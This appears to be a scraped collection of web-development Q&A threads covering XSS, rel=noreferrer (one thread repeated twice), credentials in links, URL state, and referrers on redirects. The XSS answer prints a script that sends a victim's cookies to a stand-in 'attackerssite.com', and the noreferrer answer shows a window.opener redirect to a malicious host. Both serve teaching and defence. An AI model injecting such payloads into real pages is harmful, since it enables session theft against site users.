Regarding XSS, OWASP states (intro paragraph):
These scripts can even rewrite the content of the HTML page
As a user, I cannot rewrite the contents of facebook.com (other than wall posts, comments, and so on). That would require me to permanently alter their html files, which clearly no user without specific server access can do.
When I cannot do it as a user, how can possibly a maliciously injected script from facebook.com, executed by my browser, rewrite the contents of facebook.com?
As a user, I cannot rewrite the contents of facebook.com
You could if Facebook didn't protect well against XSS. Sites that don't escape user-generated text for usage in the context of HTML are vulnerable to having arbitrary script injected into the page. Your Facebook post could contain a <script> tag, for example.
That would require me to permanently alter their html files, which clearly no user without specific server access can do.
No, you could simply modify the page client-side once your malicious script is loaded. No need to actually modify the original page to have the effect of wiping out the page. For example:
document.body.innerHTML = '';
Let me give some example. Let's imagine Facebook lets its users to save a link to externally hosted avatar at user's profile. And this avatar is shown near user's nickname. Also let's imagine that Facebook does not protect itself against XSS (it really does, but we need this assumption).
Then the attacker can use such text instead of avatar link:
javascript:alert('You are hacked')
Facebook's HTML code displaying avatar may look as:
<img src="javascript:alert('You are hacked')"></img>
Then attacker will see that alert when he opens his profile. Doesn't look very dangerous, does it?
But take care: Facebook has a news feed. Let the attacker write some post - and all his friends will see the alert on their newsfeed page.
And to finalize: instead of alert the attacker will be able to get user's Facebook cookies and send them to attacker's site:
<script>window.location = 'attackerssite.com?cookie=' + document.cookie</script>
And then he'll collect victim's cookies from his server's access log. Now it is a real hazard, do you agree?
Note. Here I described stored XSS: it is probably the most dangerous type of XSS that can affect many users at once. The other types of XSS (described in other answers to this question) may affect current user - but that doesn't mean they are not dangerous: for example they can steal user's cookies as well.
Related
I have to link some other external sites.
I know when to use nofollow. But I am not clear when I should use rel=noreferrer.
In short, the noreferrer link type hides referrer information when the link is clicked. A link with the noreferrer link type looks something like this:
Click here for more info
If someone arrives at your site from a link that uses this link type, your analytics won't show who refered that link. Instead, it will mistakenly show as direct traffic in your acquisition channels report.
If you have an external link to someone else's site you don't trust and you want to hide referrer information then you can combine both and use
Other Domain Link
I advise you to use nofollow links for the following content:
Links in comments or on forums - Anything that has user-generated content is likely to be a source of spam. Even if you carefully moderate, things will slip through.
Advertisements & sponsored links - Any links that are meant to be advertisements or are part of a sponsorship arrangement must be nofollowed.
Paid links - If you charge in any way for a link (directory submission, quality assessment, reviews, etc.), nofollow the outbound links
noreferrer doesn't just block the HTTP referrer header, it also prevents a Javascript exploit involving window.opener
Link
Looks innocuous enough, but there's a hole because, by default, the page that's being opened is allowing the opened page to call back into it via window.opener. There are some restrictions, being cross-domain, but there's still some mischief that can be done
window.opener.location = 'http://gotcha.badstuff';
With noreferrer most browsers will disallow the window.opener exploit
As #unor said, it hides referrer information when the link is clicked. Basically this is a privacy enhancement for when you want to hide from the owner of the linked domain that the user came from your website.
Example:
User is on your website www.mywebsite.com, there you have a Link. When someone clicks the "Link" the owner of newsite.com knows it came from www.mywebsite.com. By setting rel=noreferrer you prevent revealing this information.
A good example how it works is starting from 21:28 of this conference talk. This is considered to be a good practice when working with server-side (e.g. Node.js). You can also read about this on the Helmet documentation.
You'll o ly need to use this on private pages or pages you dont want to advertise. E.g. a webmail or private bug tracker would be considered private and you don't want to leak any information to the external linked websites.
Sensitive public pages, like medical information or other sensitive topics may also want to mask the referrer header.
I have to link some other external sites.
I know when to use nofollow. But I am not clear when I should use rel=noreferrer.
In short, the noreferrer link type hides referrer information when the link is clicked. A link with the noreferrer link type looks something like this:
Click here for more info
If someone arrives at your site from a link that uses this link type, your analytics won't show who refered that link. Instead, it will mistakenly show as direct traffic in your acquisition channels report.
If you have an external link to someone else's site you don't trust and you want to hide referrer information then you can combine both and use
Other Domain Link
I advise you to use nofollow links for the following content:
Links in comments or on forums - Anything that has user-generated content is likely to be a source of spam. Even if you carefully moderate, things will slip through.
Advertisements & sponsored links - Any links that are meant to be advertisements or are part of a sponsorship arrangement must be nofollowed.
Paid links - If you charge in any way for a link (directory submission, quality assessment, reviews, etc.), nofollow the outbound links
noreferrer doesn't just block the HTTP referrer header, it also prevents a Javascript exploit involving window.opener
Link
Looks innocuous enough, but there's a hole because, by default, the page that's being opened is allowing the opened page to call back into it via window.opener. There are some restrictions, being cross-domain, but there's still some mischief that can be done
window.opener.location = 'http://gotcha.badstuff';
With noreferrer most browsers will disallow the window.opener exploit
As #unor said, it hides referrer information when the link is clicked. Basically this is a privacy enhancement for when you want to hide from the owner of the linked domain that the user came from your website.
Example:
User is on your website www.mywebsite.com, there you have a Link. When someone clicks the "Link" the owner of newsite.com knows it came from www.mywebsite.com. By setting rel=noreferrer you prevent revealing this information.
A good example how it works is starting from 21:28 of this conference talk. This is considered to be a good practice when working with server-side (e.g. Node.js). You can also read about this on the Helmet documentation.
You'll o ly need to use this on private pages or pages you dont want to advertise. E.g. a webmail or private bug tracker would be considered private and you don't want to leak any information to the external linked websites.
Sensitive public pages, like medical information or other sensitive topics may also want to mask the referrer header.
I am trying to add a hyperlink to an area of another website requiring login to view files. The target website will be a photo gallery website which then will be accessible on my website.
My question is this. Is it possible to encode login information into a hyperlink therefore bypassing login when hyperlink is clicked? Please let me know your thoughts.
Short answer: Client-side, this would be near-impossible, considering you cannot send form data via a hyperlink (though you can receive it, but then that gets dynamically added to the URL via method POST.) You can do this, however, by using Javascript by using a submit button (if the page doesn't have protection against csrf) which can dynamically inject parameters via a form, but then you would need a POST request cross-domain which is where my point with needing admin access comes in;
If you were to attempt to do this server-side, you would have to have admin access to both sites, certainly not just to site A. From then you can inject parameters into the hyperlinks via server-side scripting languages such as PHP or Python, which would then add the required information to the form upon landing on site B. But you must (must) be careful, this opens up the potential of a serious security compromise depending on how you allow users to log in to your site. Assuming it's yours. Either way, this is still a bad idea, which concludes to my
Shorter answer: No.
I need to add context or the current state of my website to the URL of the page.. So that if a user copies and sends the URL to another user. The other user can see the exact state of the website that the sender was watching, i.e. the tab he was in,and the data he was viewing. I have seen similar things being implemented in other websites like facebook, gmail, etc but I don't know how to do that in my application. How should I approach this problem?
Use pushState and friends to modify the URL to one which your server can use to deliver a page that starts in the desired state.
Say you have a legacy website running on an old code-base that offers certain functionality. The successor website is up and running, providing all the old functionality and more. For some time, there has been an HTML link on the old site pointing to the new one, for those users that care to click over.
Now, the legacy site is reaching its end of life, and you want to automatically redirect users to the new site, for example via a 301 or 302 redirect. However, when a user encounters this redirect, you want to also display a friendly message on the new site welcoming them and explaining why they are not seeing the old version.
When the user clicks an HTML link, the HTTP_REFERER header is populated, and the welcome message can be triggered via that value. However it appears that the same is not true when using 3XX redirect codes.
The top Google hit for this issue has this to say:
"HTTP 1.1 specification states it clearly: if a 3XX code is given, no
Referer value is passed. (eventualy, the URL that pointed to 3XX site)."
(http://www.usenet-forums.com/apache-web-server/37811-how-set-referer-redirect.html#post145986)
However I could not find this statement in a quick read through the spec (https://www.rfc-editor.org/rfc/rfc2616).
Can anyone suggest the proper way to achieve this functionality?
Note: This is not meant to be an all-encompassing solution. We understand that some clients don't even send the HTTP_REFERER header for privacy reasons, but for the sake of argument, let's ignore that use case.
First, This should be a 301, not a 302 redirect. Your redirection is permanent, so you want to indicate that. As to how to indicate the redirect, just add a parm to the url. Instead of redirecting to http://www.newsite.com redirect them to http://www.newsite.com?FromOldSite=Y
Could you just redirect them to a specific launch page? Like if try try to visit http://oldsite.com/desired/page, just send them to http://newsite.com/welcome?nextpage=/desired/page. The welcome page could show the message and then pass them over to the content. Alternatively, you could send them right to the new page with a ?show_welcome=true in the URL.
Not sure how you plan to redirect your users, but if you don't want to "ugly" up your URL, you might just set your own custom header when hitting the old site and then check for it at the new.